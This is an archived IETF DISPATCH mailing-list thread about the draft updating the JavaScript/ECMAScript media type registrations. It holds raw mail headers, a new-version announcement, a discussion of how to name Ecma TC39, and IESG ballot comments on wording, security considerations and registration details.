Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sqyjSFNbxWFu for ; Mon, 3 Jan 2022 06:21:25 -0800 (PST) Received: from mail-pj1-x102a.google.com (mail-pj1-x102a.google.com [IPv6:2607:f8b0:4864:20::102a]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id B0AD03A08A5 for ; Mon, 3 Jan 2022 06:21:25 -0800 (PST) Received: by mail-pj1-x102a.google.com with SMTP id gj24so28986231pjb.0 for ; Mon, 03 Jan 2022 06:21:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=PpTPW8Uc1OotA8I4E4CfvDjJyzy4KW4dfHOOGYd1g1Q=; b=URChe+4Gcj9ZabBjz5H0HKleTjZ0pILWaJkwilg4c6c0MzjfznTV1KgHQJVyQuwob0 zhWr5UZeHDzkvovTUFHSdyq5miNwf4D2uW4R8WBNuDU/5GEuw0VakIpUyBx6tTahuayF mxOjkdhXpg5E0FtBC2x0BhylaHv36D8j/urf3M9wbRurAbgbltEDtnp4LpKAmr6q2kY8 Bq7uyT2VLMoJ1E0m2MDA8dV88Q2kvfUMqV8PW8g6ID+61HO2iDG9GtNiAsTw+moXmZlo llT+hdyaww3NPysldS3J2U+pPqJBzTHX3ErJeHl02FaZHCWgLB9zldkeHyCCYayMCSD6 8gWg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=PpTPW8Uc1OotA8I4E4CfvDjJyzy4KW4dfHOOGYd1g1Q=; b=KU+HL2lRr2iazpBJcyjfGRx3zY9QrpMtnNNMhxHtvz7TQqnEtfVC+JCFNKObdmChsn 7bmgb3hI9GZQfVo4PUBechGnGb9gMItUkd9qiVDHyzVf4FMnjh6EADxYYUDcB5KuGnLB mVTMJ6B8x2C5xu7nXLxTB8/dIZD8hAZFFUsF0lQdAskfGj87ml10nEW6EK/pYYP94GQs B0fanNVEKriNl4OZI/eVJdvuCGGFjboLND2JXdCA3DQwL2i9i49J6uf5uUdb6ArVAmd3 su4TCwq1t+w7zH//JxNMk79WVUIlNO+/4r12d4R3+idAu8qbOeZDwFZ4ix76ENMEtQ2j jLVg== X-Gm-Message-State: AOAM532+LH76qj8S2HarYVLDiItMiMZmlvWCqevJF33qEjSiJ9bE0KKk 8mRGLERDxvIiWGZhXE3xJOiItKJKjbEQnG79XkU0fXLI75U211A8 X-Google-Smtp-Source: ABdhPJzs+s/AnHP///kqJxPXrmt8/7LgEsm4dt0oZN1KyaVDrmk84X/lqP64DFnfh092kGkYSBC1UBDxi5OT73SVEjE= X-Received: by 2002:a17:902:d2d0:b0:149:48e4:f039 with SMTP id n16-20020a170902d2d000b0014948e4f039mr44957590plc.137.1641219683136; Mon, 03 Jan 2022 06:21:23 -0800 (PST) MIME-Version: 1.0 References: <164121942845.23308.2862422518612205467@ietfa.amsl.com> In-Reply-To: <164121942845.23308.2862422518612205467@ietfa.amsl.com> From: Mathias Bynens Date: Mon, 3 Jan 2022 15:21:11 +0100 Message-ID: To: DISPATCH WG Cc: i-d-announce@ietf.org, =?UTF-8?B?w4lyaWMgVnluY2tl?= Content-Type: multipart/alternative; boundary="00000000000036afc405d4ae3c5e" Archived-At: Subject: Re: [dispatch] I-D Action: draft-ietf-dispatch-javascript-mjs-13.txt X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 14:21:28 -0000 --00000000000036afc405d4ae3c5e Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable This version addresses =C3=89ric Vyncke=E2=80=99s feedback (nits). Diff: https://github.com/linuxwolf/bmeck-ids/pull/59/files On Mon, Jan 3, 2022 at 3:18 PM wrote: > > A New Internet-Draft is available from the on-line Internet-Drafts > directories. > This draft is a work item of the Dispatch WG of the IETF. > > Title : ECMAScript Media Types Updates > Authors : Matthew A. Miller > Myles Borins > Mathias Bynens > Bradley Farias > Filename : draft-ietf-dispatch-javascript-mjs-13.txt > Pages : 28 > Date : 2022-01-03 > > Abstract: > This document describes the registration of media types for the > ECMAScript and JavaScript programming languages and conformance > requirements for implementations of these types. This document > obsoletes RFC4329, "Scripting Media Types", replacing the previous > registrations for "text/javascript" and "application/javascript" with > information and requirements aligned with implementation experiences. > > > The IETF datatracker status page for this draft is: > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > There is also an htmlized version available at: > https://datatracker.ietf.org/doc/html/draft-ietf-dispatch-javascript-mjs-= 13 > > A diff from the previous version is available at: > https://www.ietf.org/rfcdiff?url2=3Ddraft-ietf-dispatch-javascript-mjs-13 > > > Internet-Drafts are also available by rsync at rsync.ietf.org: > :internet-drafts > > > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch > --00000000000036afc405d4ae3c5e Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
This version addresses =C3=89ric Vyncke=E2=80=99s feedback= (nits). Diff: https://github.com/linuxwolf/bmeck-ids/pull/59/files

=
On Mon, Ja= n 3, 2022 at 3:18 PM <intern= et-drafts@ietf.org> wrote:

A New Internet-Draft is available from the on-line Internet-Drafts director= ies.
This draft is a work item of the Dispatch WG of the IETF.

=C2=A0 =C2=A0 =C2=A0 =C2=A0 Title=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0:= ECMAScript Media Types Updates
=C2=A0 =C2=A0 =C2=A0 =C2=A0 Authors=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0: Matt= hew A. Miller
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 Myles Borins
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 Mathias Bynens
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 Bradley Farias
=C2=A0 =C2=A0 =C2=A0 =C2=A0 Filename=C2=A0 =C2=A0 =C2=A0 =C2=A0 : draft-iet= f-dispatch-javascript-mjs-13.txt
=C2=A0 =C2=A0 =C2=A0 =C2=A0 Pages=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0:= 28
=C2=A0 =C2=A0 =C2=A0 =C2=A0 Date=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 := 2022-01-03

Abstract:
=C2=A0 =C2=A0This document describes the registration of media types for th= e
=C2=A0 =C2=A0ECMAScript and JavaScript programming languages and conformanc= e
=C2=A0 =C2=A0requirements for implementations of these types.=C2=A0 This do= cument
=C2=A0 =C2=A0obsoletes RFC4329, "Scripting Media Types", replacin= g the previous
=C2=A0 =C2=A0registrations for "text/javascript" and "applic= ation/javascript" with
=C2=A0 =C2=A0information and requirements aligned with implementation exper= iences.


The IETF datatracker status page for this draft is:
https://datatracker.ietf.org/doc= /draft-ietf-dispatch-javascript-mjs/

There is also an htmlized version available at:
https://datatracker.ietf.= org/doc/html/draft-ietf-dispatch-javascript-mjs-13

A diff from the previous version is available at:
https://www.ietf.org/rfcdif= f?url2=3Ddraft-ietf-dispatch-javascript-mjs-13


Internet-Drafts are also available by rsync at rsync.ietf.org::internet-dra= fts


_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
--00000000000036afc405d4ae3c5e-- From nobody Mon Jan 3 06:29:27 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 119663A08CB; Mon, 3 Jan 2022 06:29:25 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.897 X-Spam-Level: X-Spam-Status: No, score=-1.897 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HCCkvYBjY86y; Mon, 3 Jan 2022 06:29:20 -0800 (PST) Received: from bsa2.jck.com (bsa2.jck.com [70.88.254.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 2AC3E3A08C8; Mon, 3 Jan 2022 06:29:19 -0800 (PST) Received: from [198.252.137.10] (helo=PSB) by bsa2.jck.com with esmtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1n4OKr-0006hj-1v; Mon, 03 Jan 2022 09:29:17 -0500 Date: Mon, 03 Jan 2022 09:29:11 -0500 From: John C Klensin To: "Eric Vyncke (evyncke)" , Mathias Bynens cc: DISPATCH WG , Ben Campbell , dispatch chairs , The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org Message-ID: <0625341AF32289336E964A99@PSB> In-Reply-To: References: <164121216097.11389.15651087256093939724@ietfa.amsl.com> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-SA-Exim-Connect-IP: 198.252.137.10 X-SA-Exim-Mail-From: john-ietf@jck.com X-SA-Exim-Scanned: No (on bsa2.jck.com); SAEximRunCond expanded to false Archived-At: Subject: Re: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 14:29:25 -0000 --On Monday, January 3, 2022 13:04 +0000 "Eric Vyncke (evyncke)" wrote: > Thank you, Mathias, for your prompt reply. > > About the TC39 point, may I suggest the text "The ECMA > Technical Committee 29 (TC29), the standards body for > ECMAscript, has determined..." ? s/29/39/ above Especially since there is an ISO TC 39, which is in a very different business (Machine Tools) and confusion is potentially possible, I want to strongly reinforce this. Because there are other such cases, including national bodies that use "TC designations", I think it would be helpful to have a general guideline that TC NN is never used without explicit identification of the parent organization. best, john From nobody Mon Jan 3 09:51:30 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0B4303A0403 for ; Mon, 3 Jan 2022 09:51:24 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id J9ZZM51zNYs6 for ; Mon, 3 Jan 2022 09:51:18 -0800 (PST) Received: from mail-pj1-x1030.google.com (mail-pj1-x1030.google.com [IPv6:2607:f8b0:4864:20::1030]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id B965F3A03FF for ; Mon, 3 Jan 2022 09:51:18 -0800 (PST) Received: by mail-pj1-x1030.google.com with SMTP id v16so29380035pjn.1 for ; Mon, 03 Jan 2022 09:51:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=93/XAjYn9R/NEy73JPIrQUeWpP72mPBDF4A7aPIF944=; b=eH0Qu0scb+TQAu0fch+XPxQi/7o5zZF1c++aU43/0DSFEOJrwIeiRkEJ1ySvGXk7MN 9qlWNm5QRmztdr2YXt3SiGMyRlz/nkuIZenjto2GFms98PD30ov5of2teyj2GEDitH1N IT5NlCXky8dhUysiH/79diNEfV7+9D2VCV+D5nJWcvbtldYxf0G3WrPwEI55FzWjeC8V UrYXssBe2x2Gkc5e7UrDLBIxtwiY2l5Y43wm+WFVsI3ePqt5xRvLAMXapaQkwTCD6UyD SBhJFtMMjoPCb/AMkFACdxkLYHSVDfhVkuW8wIN5jn8JUv/vJOWK9oNhUzSKIhJdeAgp NetA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=93/XAjYn9R/NEy73JPIrQUeWpP72mPBDF4A7aPIF944=; b=wO+pMGjpYHUyN6ZmUDELCh+ryBIE5+Tphv1tSQYcimX3O1TVVhkxUK6IcMriUEiwRK IFh5+s5Pdd0wqpAE4uXHl9IBUko7vMXHYNnlO0FGIXYguMeCmIzhhtUPsfGCETab0CcU v0SfkBzDJkP3FN4L/ZFCdX6n5n1D9yCqimOhDX6N9V+XE6WCNl3vjz6SSP7X+DFwc80c UUyoE1FktxbTVBgFvlzTkmVykyGxAZkcb2WTHCrTZVD16SalBv8ciyWUKeqSa2r/uQd+ MtsSW3L1MuWmXeAiza7pjT3qX66p7Gp4izOcP1CST94yiWZyXdKeW8lXze9eirD+cRMb D05w== X-Gm-Message-State: AOAM533VQclq7h2t8LsucoSuCi7h1GeD5y5b/waF62crEUNYqUhQ7yRh s74XtxB+CqWhLvwFP+Iy3/kHiz+yD/k9bfWq8Xqt+g== X-Google-Smtp-Source: ABdhPJykWSTc3FoaXDCAe/uITQpJsKbk00koFbUcjPCXFzYIUtXK6k627eIbx6z6JTrHB3UWJzlv67G2PAz5vy90Gnw= X-Received: by 2002:a17:90b:798:: with SMTP id l24mr56674104pjz.56.1641232277055; Mon, 03 Jan 2022 09:51:17 -0800 (PST) MIME-Version: 1.0 References: <164121216097.11389.15651087256093939724@ietfa.amsl.com> <0625341AF32289336E964A99@PSB> In-Reply-To: <0625341AF32289336E964A99@PSB> From: Mathias Bynens Date: Mon, 3 Jan 2022 18:51:05 +0100 Message-ID: To: John C Klensin Cc: "Eric Vyncke (evyncke)" , DISPATCH WG , Ben Campbell , dispatch chairs , The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org Content-Type: multipart/alternative; boundary="000000000000ded8aa05d4b12afe" Archived-At: Subject: Re: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 17:51:24 -0000 --000000000000ded8aa05d4b12afe Content-Type: text/plain; charset="UTF-8" The phrasing I used in my patch was: "Ecma International's Technical Committee 39 (TC39), the standards body in charge of ECMAScript, has determined that media types are outside of their scope of work {{TC39-MIME-ISSUE}}." On Mon, Jan 3, 2022, 15:29 John C Klensin wrote: > > > --On Monday, January 3, 2022 13:04 +0000 "Eric Vyncke (evyncke)" > wrote: > > > Thank you, Mathias, for your prompt reply. > > > > About the TC39 point, may I suggest the text "The ECMA > > Technical Committee 29 (TC29), the standards body for > > ECMAscript, has determined..." ? > > s/29/39/ above > > Especially since there is an ISO TC 39, which is in a very > different business (Machine Tools) and confusion is potentially > possible, I want to strongly reinforce this. Because there are > other such cases, including national bodies that use "TC > designations", I think it would be helpful to have a general > guideline that TC NN is never used without explicit > identification of the parent organization. > > best, > john > > --000000000000ded8aa05d4b12afe Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
The phrasing I used in my patch was:
"Ecma International's Technical Committee= 39 (TC39), the standards body in charge of ECMAScript, has determined that= media types are outside of their scope of work {{TC39-MIME-ISSUE}}."<= br>

On Mon, Jan 3, 2022, 15:29 John C Klensin <john-ietf@jck.com= > wrote:


--On Monday, January 3, 2022 13:04 +0000 "Eric Vyncke (evyncke)"<= br> <evyncke=3D40cisco.com@dmarc.ietf.org> wrote:<= br>
> Thank you, Mathias, for your prompt reply.
>
> About the TC39 point, may I suggest the text "The ECMA
> Technical Committee 29 (TC29), the standards body for
> ECMAscript, has determined..." ?

s/29/39/ above

Especially since there is an ISO TC 39, which is in a very
different business (Machine Tools) and confusion is potentially
possible, I want to strongly reinforce this.=C2=A0 Because there are
other such cases, including national bodies that use "TC
designations", I think it would be helpful to have a general
guideline that TC NN is never used without explicit
identification of the parent organization.

best,
=C2=A0 =C2=A0john

--000000000000ded8aa05d4b12afe-- From nobody Mon Jan 3 22:47:54 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9430B3A1810; Mon, 3 Jan 2022 22:47:49 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.898 X-Spam-Level: X-Spam-Status: No, score=-1.898 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, SPF_HELO_NONE=0.001, SPF_NONE=0.001] autolearn=ham autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id TyGJAagsLp9z; Mon, 3 Jan 2022 22:47:43 -0800 (PST) Received: from bsa2.jck.com (ns.jck.com [70.88.254.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id DF70A3A180F; Mon, 3 Jan 2022 22:47:42 -0800 (PST) Received: from [198.252.137.10] (helo=PSB) by bsa2.jck.com with esmtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1n4dbg-0008KN-7j; Tue, 04 Jan 2022 01:47:40 -0500 Date: Tue, 04 Jan 2022 01:47:34 -0500 From: John C Klensin To: Mathias Bynens cc: "Eric Vyncke (evyncke)" , DISPATCH WG , Ben Campbell , dispatch chairs , The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org Message-ID: <85C9EF91667C0DBC2081BCE4@PSB> In-Reply-To: References: <164121216097.11389.15651087256093939724@ietfa.amsl.com> <0625341AF32289336E964A99@PSB> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-SA-Exim-Connect-IP: 198.252.137.10 X-SA-Exim-Mail-From: john-ietf@jck.com X-SA-Exim-Scanned: No (on bsa2.jck.com); SAEximRunCond expanded to false Archived-At: Subject: Re: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Jan 2022 06:47:50 -0000 --On Monday, January 3, 2022 18:51 +0100 Mathias Bynens wrote: > The phrasing I used in my patch was: > > "Ecma International's Technical Committee 39 (TC39), the > standards body in charge of ECMAScript, has determined that > media types are outside of their scope of work > {{TC39-MIME-ISSUE}}." IIR, Ecma International might prefer Ecma International's Technical Committee 39 (Ecma TC39) As another alternative, you might check with the RFC Editor Staff as to whether they think "Ecma" is a well-known abbreviation (like "ISO", etc.). If so, you could just say "Ecma TC39" and save the additional words. But your version is almost certainly good enough. john From nobody Wed Jan 5 05:57:20 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id 0A8D23A0954; Wed, 5 Jan 2022 05:57:14 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit From: Robert Wilton via Datatracker To: "The IESG" Cc: draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch-chairs@ietf.org, dispatch@ietf.org, Ben Campbell , ben@nostrum.com X-Test-IDTracker: no X-IETF-IDTracker: 7.41.0 Auto-Submitted: auto-generated Precedence: bulk Reply-To: Robert Wilton Message-ID: <164139103325.1563.3624861447117160382@ietfa.amsl.com> Date: Wed, 05 Jan 2022 05:57:14 -0800 Archived-At: Subject: [dispatch] Robert Wilton's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Jan 2022 13:57:14 -0000 Robert Wilton has entered the following ballot position for draft-ietf-dispatch-javascript-mjs-13: No Objection When responding, please keep the subject line intact and reply to all email addresses included in the To and CC lines. (Feel free to cut this introductory paragraph, however.) Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ for more information about how to handle DISCUSS and COMMENT positions. The document, along with other ballot positions, can be found here: https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ ---------------------------------------------------------------------- COMMENT: ---------------------------------------------------------------------- Hi, Thanks for cleaning up the use of these media types. I've no significant comments, with only a nit level comment that I found the following paragraph in the introduction to be slightly strange because I read it as implying (i) to be compliant with this RFC, implementations must also read/consider any future RFCs that update it, and (ii) future 'optional' updates may break implementation conformance to this RFC, which makes those updates seem less optional. I would propose just deleting this paragraph, but happy to leave it to the authors discretion. This document may be updated to take other content into account. Updates of this document may introduce new optional parameters; implementations MUST consider the impact of such an update. Regards, Rob From nobody Wed Jan 5 16:00:33 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id 8C7113A0CDC; Wed, 5 Jan 2022 16:00:27 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit From: Benjamin Kaduk via Datatracker To: "The IESG" Cc: draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch-chairs@ietf.org, dispatch@ietf.org, Ben Campbell , ben@nostrum.com X-Test-IDTracker: no X-IETF-IDTracker: 7.41.0 Auto-Submitted: auto-generated Precedence: bulk Reply-To: Benjamin Kaduk Message-ID: <164142722748.6967.15810149469713452092@ietfa.amsl.com> Date: Wed, 05 Jan 2022 16:00:27 -0800 Archived-At: Subject: [dispatch] Benjamin Kaduk's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Jan 2022 00:00:28 -0000 Benjamin Kaduk has entered the following ballot position for draft-ietf-dispatch-javascript-mjs-13: No Objection When responding, please keep the subject line intact and reply to all email addresses included in the To and CC lines. (Feel free to cut this introductory paragraph, however.) Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ for more information about how to handle DISCUSS and COMMENT positions. The document, along with other ballot positions, can be found here: https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ ---------------------------------------------------------------------- COMMENT: ---------------------------------------------------------------------- Section 3 This document does not define how fragment identifiers in resource identifiers ([RFC3986], [RFC3987]) for documents labeled with one of the media types defined in this document are resolved. An update of this document may define processing of fragment identifiers. This section is the "modules" section; the disclaimer of specification of fragment handling seems to apply to both script and module content, and thus to be misplaced in this section. Section 5 Module scripts in ECMAScript can request the fetching and processing of additional scripts, called importing. Implementations that support modules need to process imported sources in the same way as scripts. Further, there may be additional privacy and security concerns depending on the location(s) the original script and its imported modules are obtained from. For instance, a script obtained from "host-a.example" could request to import a script from "host- b.example", which could expose information about the executing environment (e.g., IP address) to "host-b.example". See the section "ECMAScript Language: Scripts and Modules" in [ECMA-262] for details. Is the referenced "ECMAScript Language: Scripts and Modules" section supposed to be providing more details on the importing process, or the potential privacy and security concerns? I skimmed through it and found nothing noteworthy on the latter, which suggests that perhaps the former was intended. If that's the case, then reordering the sentences within the paragraph might be helpful. This circumstance can further be used to make information, that is normally only available to the script, available to a web server by encoding the information in the resource identifier of the resource, which can further enable eavesdropping attacks. Implementation of such facilities is subject to the security considerations of the host environment, as discussed above. What does "the resource" refer to, here? I don't see a previous mention of a resource that it would be referring to. Is it perhaps a resource that's the target of a request to the web server that is receiving the information in question? Section 7.1 It's pretty surprising to see a normative dependency on RFC 4329 when we claim to obsolete that document. Appendix B Looking at the diff from RFC 4329, I also see some text about handling application/ecmascript content that has a "version" parameter to the media type, that seems to have been removed entirely for this document. Is that sufficiently noteworthy to be included in this change listing? NITS Section 5 The programming language defined in [ECMA-262] is not intended to be computationally self-sufficient, rather it is expected that the computational environment provides facilities to programs to enable specific functionality. [...] The comma usage seems off here. I'm not sure if the sentence overall contains a comma splice or not, but probably there should be a comma after "rather" regardless of whether the first comma is converted to semicolon/full-stop or otherwise. Section 6 application/ecmascript" is to be removed. IANA is requested to add the note "OBSOLETED in favor of text/javascript" to all registrations except "text/javascript". Presumably this is "all registrations listed in this document", not "all registrations in the registry"... Section 6.2.x I extracted the various subsections and used diff to compare them. Aside from the expected variation in type/subtype name and file extension (.es vs .js), there is also variation in: - whether there is a full stop at the end of the "Change controller" line - the "See also [sections] of [this document]" sentence in the interoperability considerations -- some say "various sections", others "section 4.1"; some have a "regarding the charset parameter" clause and others don't. I'm not sure whether these variations are intentional or not. - some have the "Person & email address to contact for further information" listing both this document and RFC 4329, but most just list this document. - text/livescript does not have a note about this registration applying to later editions of [ECMA-262]; perhaps that's appropriate for the livescript media type. From nobody Wed Jan 5 20:53:38 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id 50C1D3A0544; Wed, 5 Jan 2022 20:53:32 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit From: Murray Kucherawy via Datatracker To: "The IESG" Cc: draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch-chairs@ietf.org, dispatch@ietf.org, Ben Campbell X-Test-IDTracker: no X-IETF-IDTracker: 7.41.0 Auto-Submitted: auto-generated Precedence: bulk Reply-To: Murray Kucherawy Message-ID: <164144481153.28700.9521326921012553920@ietfa.amsl.com> Date: Wed, 05 Jan 2022 20:53:32 -0800 Archived-At: Subject: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Jan 2022 04:53:33 -0000 Murray Kucherawy has entered the following ballot position for draft-ietf-dispatch-javascript-mjs-13: No Objection When responding, please keep the subject line intact and reply to all email addresses included in the To and CC lines. (Feel free to cut this introductory paragraph, however.) Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ for more information about how to handle DISCUSS and COMMENT positions. The document, along with other ballot positions, can be found here: https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ ---------------------------------------------------------------------- COMMENT: ---------------------------------------------------------------------- The MUST in Section 2 is kind of peculiar. Is it a reminder to implementers today that they need to keep an eye out for possible updates in the future? If so, I think it's unnecessary. If something else is meant, then I'm quite confused. In several of the subsections of Section 6.2, there are some errant punctuation characters hanging around. This document is registering media subtypes starting with "x-" even though BCP 178 says not to do that. If the working group intends to do this for historical reasons, I suggest including a sentence explaining that this is being done intentionally, perhaps under Appendix A of RFC 6838. (See, for example, Section 6 of RFC 8894.) From nobody Thu Jan 6 02:51:10 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E00D93A1206 for ; Thu, 6 Jan 2022 02:51:07 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 